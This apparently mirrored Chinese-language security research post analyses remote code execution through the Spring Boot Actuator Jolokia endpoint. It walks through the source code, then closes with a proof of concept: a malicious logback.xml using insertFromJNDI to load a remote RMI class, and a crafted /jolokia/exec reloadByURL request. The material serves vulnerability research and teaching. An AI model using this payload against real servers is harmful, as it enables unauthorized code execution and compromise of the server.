50

Attack Spring Boot Actuator via jolokia Part 1

 5 years ago
source link: https://lucifaer.com/2019/03/11/Attack Spring Boot Actuator via jolokia Part 1/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前段时间看到twitter上有国外的研究人员 Exploiting Spring Boot Actuators 这篇文章,打算跟着这篇文章学习一下。作者已经提供了一个 简单的demo 用于大家调试。这篇是对 ch.qos.logback.classic.jmx.JMXConfigurator 这个利用点的分析,之后还会对rr找到的另外一个利用点进行分析。

0x01 什么是Spring Boot Actuator

Actuators(翻译过来应该叫做执行器,但是个人感觉意思并不准确)是Spring Boot简化Spring开发过程中所提出的四个主要特性中的一个特性,它为Spring Boot应用添加了一定的管理特性,可以说类似于一个“监控器”一样的东西。Spring Boot Actuator给Spring Boot带来了很多有用的特性:

Spring Security

在这些特性中最有用的且最有意思的特性是管理端点,所有的管理节点都可以在 org.springframework.boot.actuate.endpoint 中找到。

在Spring Boot 1-1.4版本,这些端点都是可以直接访问的,不需要认证。在Spring Boot 1.5版本后除了 /health/info 这两个端点,其他的端点都被默认的当做是敏感且安全的端点,但是开发人员经常会禁用此安全性,从而产生安全威胁。

0x02 Jolokia端点的大致运行流程

我们都知道Jolokia是一个用来访问远程 JMX MBeans 的方法,它允许对所有已经注册的MBean进行Http访问。接下来直接看一下 JolokiaMvcEndpoint 这个端点的具体实现。

A7n26n6.jpg!web

可以看到直接可以通过 /jolokia 来访问到该端点, handle 方法用来处理请求:

NjyMVfe.jpg!web

可以跟一下路由处理流程,最后在 org.jolokia.http.HttpRequestHandler#handleGetRequest 这里处理get请求:

feInMbY.jpg!web

可以看到红框中通过 JmxRequestFactory 工厂函数来创建了一个 JmxRequest 类,之后执行这个类。在创建这个类的时候回根据get请求的路由来指定具体执行什么样的功能,也就是说请求的参数通过创建不同的 JmxRequest 类来实现不同的方法,那么我们只需要看一下 JmxRequest 的继承关系,看看它有什么继承类就能大致的知道它具备什么样的功能:

ZZZRRrz.jpg!web

在继承类中我们发现存在 JmxWriteRequestJmxExecRequest 这两个从名字来说让我们很兴奋的子类,我们知道 /jolokia/list 所执行的是 JmxListRequest 这个子类的功能,类比一下, /jolakia/exec 就可以执行 JmxExecRequest 这个子类的功能。我们首先来具体看一下这个 JmxExecRequest 子类:

Nz26neY.jpg!web

在翻阅代码的过程中我注意到了这里,如果你自己跟了一下 JmxRequest 的创建过程的话,就知道首先是根据将请求的路由进行解析,将 / 之后的第一个字符串作为类别在 CREATOR_MAP 中查找是否存在该类别,如果存在则调用 newCreate 方法创建 JmxRequest 。下图为 CREATOR_MAP

QNJvMrb.jpg!web

知道了 JmxRequest 的创建过程后,我们来看看它怎么用,这个时候需要跟进一下 executeRequest 方法。

ZnYF3qF.jpg!web

vui2QnV.jpg!web

遍历调度器,如果找到相应的调度器则调用调度器:

UJnmieI.jpg!web

ZbmqIz7.jpg!web

FviENnY.jpg!web

这里转交调度器中相应的请求处理方法来处理:

N3UjArR.jpg!web

MN3UruU.jpg!web

可以看到这里存在 invoke 方法最终会执行我们指定的类中的指定的方法,而指定的类以及指定的方法都是可以通过路由参数来设置的。那么这里是否可以随便设置一个类呢?如果你跟了一遍这个流程的话,你会发现这里你所指定的类是从MBeanServer中来寻找的,当找不到你所设置的类的话,会抛出异常:

ZFvMfi2.jpg!web

eQzyyi6.jpg!web

所以也就是说必须要从 /jolokia/list 所展示的MBean中去寻找可以调用的类及方法。

0x03 构造请求路由

可以看到所有我们可控点都是通过构造合理的请求完成的,那么如果想要完成攻击的话,就必须知道如何构造合理的请求。

回到 handleGetRequest 这个方法中,我们现在需要仔细来研究一下它是如何把路由变成格式化的参数的,主要关注这两个部分:

B7naa2A.jpg!web

这里面有很多正则解析的部分,我比较懒就下断点调了2333….

在动态调之前我们看一下 JmxExecRequest 的数据结构是什么样的:

3YBbqar.jpg!web

注意看这段注释,这里会传入四个参数其中有两个参数是不能为空的:

  • pObjectName:要执行操作的MBean的名称,不能为空
  • pOperation:要执行操作的名称(方法的名称),不能为空
  • pArguments:用于执行请求的参数,可以为空
  • pParams:用于处理请求的可选参数

知道了数据结构,我们来看看具体的解析过程。

具体的解析过程在 JmxRequestFactory 这个工厂类中:

bqiI73A.jpg!web

extractElementsFromPath 方法中完成了以 / 分割路由请求,并对路由进行处理的,其中最为重要的点在 split 方法中:

RJN3iaZ.jpg!web

FjEZvyE.jpg!web

rUb6Nrn.jpg!web

解析过程中最为重要的点在于两个正则表表达式:

(.*?)(?:(?<!!)((?:!.)*)/|$)
!(.)

这里利用 Pattern.matcher 的正则表达式分组支持的特性,可以为正则表达式提供多次匹配的支持。这里的可以看到当处理的路由中存在 1!/2 这样的情况时,可以保留 /

Framqye.jpg!web

然后以此类推将路由以 / 分组,将每个组中的参数保存到一个 ArrayList 中,之后对这个数组进行校验,这里将数组中的第一个元素当做是 type ,在 (R) getCreator(type) 根据此 typeCREATOR_MAP 中查找是否存在此方法:

biA3MjV.jpg!web

存在的话则调用相应的 newCreator 方法动态创建一个 JmxRequest 对象。这里是 JmxExecRequest

AzEB7jV.jpg!web

可以看到这里将pStack的栈顶移除并将其依次设置成 pObjectNamepOperation 。分析到这里我们只需要指定这样的路由就可以调用我们想要调用的类和方法了:

jolokia/exec/class_name/function_name/params

0x04 寻找可以利用的点

根据上面两节的内容,我们现在可以控制 /exec 端点执行我们想让其执行的类中的方法,但是前提是这个类和方法必须在 /list 节点中存在。文章中说了一个 ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator 这个类,跟进看一下:

E7baMbA.jpg!web

JMXConfigurator 这个类中发现存在一个 reloadByURL 方法,那是不是可以从远程加载一个新的配置文件从而造成RCE呢?感觉是有搞头的。那就着重看一下这个 reloadByURL 方法。

NnyEbqF.jpg!web

m2m2ee3.jpg!web

获取输入流,并作为参数执行 doConfigure 方法:

Bn6N7n2.jpg!web

继续跟进:

nmQj2uV.jpg!web

i2UFvu6.jpg!web

这里开始解析xml文件,看一下是否有防护:

YN3eymA.jpg!web

没有任何防护。也就是说这里是可以引入外部资源,同时解析xml文档的,那么这里起码就有一个ssrf,和一个没有回显的xxe。那么看一下这个所谓的JMX配置文件也就是 logback.xml 有没有什么可以搞的东西。在 logbacks.xml 中有这么一个标签:

qeYz6nf.jpg!web

这里把 env-entry-name 改为自己的服务器地址就能在目标机上执行任意代码。

0x05 poc构造

漏洞分析的话上面的一个章节已经说得非常清楚了,下面我们来探讨以下如何利用这个漏洞,如果想要利用该漏洞的话需要准备以下几个必备条件:

  1. 一个N/D服务(RMI或者LDAP皆可)
  2. 绑定在N/D服务上的恶意类
  3. 一个恶意的logback.xml
  4. 构造一个恶意请求

N/D服务以及恶意类绑定就不过多叙述了,可以看16年bh的演讲,恶意的logback.xml可以构造如下:

<configuration>
    <insertFromJNDI env-entry-name="rmi://127.0.0.1:2000/Exploit" as="appName" />
    <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
        <withJansi>true</withJansi>
        <encoder>
            <pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
        </encoder>
    </appender>
    <root level="info">
        <appender-ref ref="STDOUT" />
    </root>
    <jmxConfigurator/>
</configuration>

请求的话可以构造如下:

http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:9998!/logback.xml

效果如下:

UJfmeqq.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK